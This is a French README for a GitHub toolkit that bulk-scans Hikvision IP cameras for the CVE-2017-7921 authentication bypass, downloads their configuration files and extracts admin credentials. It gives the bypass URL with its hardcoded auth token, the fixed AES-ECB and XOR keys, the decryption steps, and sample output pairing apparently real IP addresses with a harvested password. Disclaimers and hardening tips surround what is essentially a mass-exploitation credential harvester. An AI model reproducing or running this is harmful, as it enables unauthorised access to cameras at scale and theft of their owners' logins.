
CVE-2017-7921-Research-Toolkit GUI
Utilisé pour tester rapidement la vulnérabilité CVE-2017-7921 de Hikvision à l'aide de FOFA, et donne le compte et le mot de passe de connexion, et génère un fichier json.
CVE-2017-7921 Research Toolkit
Déclaration de sécurité : cet outil est réservé à la recherche de sécurité autorisée et à la validation des vulnérabilités.
Table des matières
- Déclaration légale et éthique
- Description du projet
- Fonctionnalités
- Installation
- Utilisation
- Résultats
- Recommandations de défense et de correction
- Détails techniques
- Remerciements
⚖️ Déclaration légale et éthique
Avis important : en utilisant cet outil, vous acceptez les conditions suivantes.
- Tests autorisés uniquement : utilisez-le uniquement sur des systèmes pour lesquels vous disposez d'une autorisation écrite explicite.
- Respectez la loi : conformez-vous strictement à la loi sur la cybersécurité et aux réglementations locales applicables.
- Divulgation responsable : signalez les vulnérabilités au fabricant par les canaux officiels.
- Objectif pédagogique : cet outil vise à améliorer la sensibilisation à la sécurité de l'IdO.
- À vos risques et périls : toute conséquence juridique liée à une mauvaise utilisation incombe à l'utilisateur.
Ce projet suit la politique de recherche de sécurité de GitHub et les normes de divulgation du Centre de réponse à la sécurité de Hikvision.
📖 Description du projet
Outil de détection et de validation groupée de la vulnérabilité de contournement d'authentification CVE-2017-7921 sur les caméras IP Hikvision. Il prend en charge le déchiffrement automatique des fichiers de configuration et l'extraction des informations d'identification.
Objectifs de conception
- Aider les chercheurs en sécurité à évaluer l'état de sécurité des appareils à grande échelle.
- Offrir aux propriétaires d'appareils des capacités d'auto-vérification.
- Prendre en charge la génération de rapports de recommandations de correction.
- Promouvoir la mise à niveau de la sécurité des appareils IdO.
✨ Fonctionnalités
- ✅ Analyse groupée de listes d'appareils au format JSON
- ✅ Détection simultanée multithread (nombre de threads configurable)
- ✅ Téléchargement automatique des fichiers de configuration chiffrés
- ✅ Déchiffrement en temps réel et extraction des identifiants de connexion
- ✅ Affichage de la progression de l'analyse en temps réel (tqdm)
- ✅ Enregistrement automatique des résultats dans un rapport JSON
- ✅ Possibilité d'interrompre puis de reprendre l'analyse
🛠️ Installation
Prérequis
- Python 3.7 ou version ultérieure
- Linux / macOS uniquement (certaines fonctionnalités limitées sous Windows)
Installation des dépendances
git clone https://github.com/[votre_nom_d_utilisateur]/CVE-2017-7921-Research-Toolkit.git
cd CVE-2017-7921-Research-Toolkit
pip install -r requirements.txt
Contenu de requirements.txt
requests>=2.28.0
pycryptodome>=3.15.0
tqdm>=4.64.0
📊 Utilisation
1. Préparer le fichier de données des appareils
Créez un dossier zc/ dans le répertoire de l'outil et placez-y la liste des appareils au format JSON (un objet par ligne) :
mkdir zc
Exemple de fichier : devices_2025.json
{"city":"Lisbon","country":"PT","host":"109.50.152.186","link":"http://109.50.152.186:80"}
{"city":"Sao Paulo","country":"BR","host":"200.201.192.75","link":"http://200.201.192.75:8080"}
Description des champs :
| Champ | Description | Obligatoire |
|---|---|---|
link | Adresse d'accès HTTP/HTTPS de l'appareil | ✅ Oui |
city | Ville | ❌ Non |
country | Code pays | ❌ Non |
org | Organisation / FAI | ❌ Non |
2. Lancer l'outil d'analyse
python batch_decrypt.py
3. Exemple d'interaction
════════════════════════════════════════════════════════════════════════════════
Outil d'analyse groupée de la vulnérabilité du fichier de configuration des caméras Hikvision
════════════════════════════════════════════════════════════════════════════════
Fichiers JSON disponibles :
════════════════════════════════════════════════════════════════════════════════
1. devices_2025.json (45 678 octets)
════════════════════════════════════════════════════════════════════════════════
Veuillez sélectionner le numéro du fichier : 1
Fichier sélectionné : devices_2025.json
Chargement des données des appareils...
Nombre total d'appareils à analyser : 2000
Entrez le nombre de threads simultanés (par défaut : 5) : 10
Nombre de threads simultanés : 10
Début de l'analyse...
Nombre total d'appareils analysés : 2000
Nombre d'appareils vulnérables détectés : 127
Appareils vulnérables enregistrés dans : vulnerable_devices.json
📁 Résultats
L'analyse génère un fichier vulnerable_devices.json contenant toutes les informations sur les appareils vulnérables.
Exemple de sortie :
[
{
"url": "http://109.50.152.186",
"config_url": "http://109.50.152.186/System/configurationFile?auth=YWRtaW46MTEK",
"username": "admin",
"password": "123456",
"city": "Lisbon",
"country": "PT",
"org": "ISP Telecom",
"status": "success"
}
]
🛡️ Recommandations de défense et de correction
Pour les propriétaires d'appareils
- Mettez immédiatement à niveau le firmware : visitez le site officiel de Hikvision pour télécharger la dernière version.
- Modifiez le mot de passe par défaut : même après la mise à niveau, changez le mot de passe admin par défaut.
- Isolez le réseau : déployez les caméras sur un VLAN dédié, interdisez l'accès direct depuis Internet.
- Activez une liste blanche d'adresses IP : autorisez uniquement les adresses IP de confiance à accéder à l'interface d'administration.
Pour les professionnels de la sécurité
- Gardez les résultats de l'analyse confidentiels : ne divulguez pas les détails des appareils non corrigés.
- Aidez à la correction : contactez activement les propriétaires des appareils et fournissez une assistance technique.
- Rapports de conformité : générez des rapports d'évaluation de la sécurité conformes à la norme ISO 27001.
🔬 Détails techniques
Principe de la vulnérabilité
- Contournement d'authentification :
/System/configurationFile?auth=YWRtaW46MTEKutilise des informations d'identification codées en dur. - Chiffrement faible : le fichier de configuration est chiffré avec une clé AES-ECB fixe.
- Divulgation de clé : la clé
279977f62f6cfd2d91cd75b889ce0c9aest codée en dur dans le firmware.
Processus de chiffrement
- Récupération du fichier de configuration binaire chiffré.
- Déchiffrement AES-ECB (suppression du premier bloc).
- Brouillage XOR (clé :
0x73, 0x8B, 0x55, 0x44). - Extraction par expression régulière du compte admin et du champ de mot de passe suivant.
📝 Licence
Ce logiciel est destiné uniquement à la recherche de sécurité autorisée et à des fins éducatives. L'utilisateur est tenu de veiller au respect de toutes les lois applicables.
🙏 Remerciements
- Merci à Hikvision d'avoir répondu rapidement et publié des mises à jour du firmware.
- Merci à la communauté open source pour les analyses de vulnérabilité fournies.
- Ce projet suit les bonnes pratiques de recherche en sécurité de l'IdO.
Dernière mise à jour : 2025-01-29 | Version : v1.0.0 | CVE concernée : CVE-2017-7921